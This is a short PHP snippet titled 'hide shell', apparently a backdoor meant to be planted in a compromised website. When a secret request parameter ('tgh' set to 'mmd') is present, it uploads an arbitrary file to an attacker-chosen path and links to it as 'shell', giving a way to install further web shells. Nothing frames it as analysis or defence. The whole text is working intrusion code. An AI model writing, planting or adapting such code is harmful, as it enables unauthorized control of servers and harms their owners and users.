hide shell

hide shell

if(@$_REQUEST["tgh"]== 'mmd')
{
$files = @$_FILES["files"]; 
if($files["name"] != ''){
$fullpath = $_REQUEST["path"].$files["name"]; 
if(move_uploaded_file($files['tmp_name'],$fullpath)){
echo "<h1><a href='$fullpath'>shell</a></h1>";
} 
}
exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>'); 
}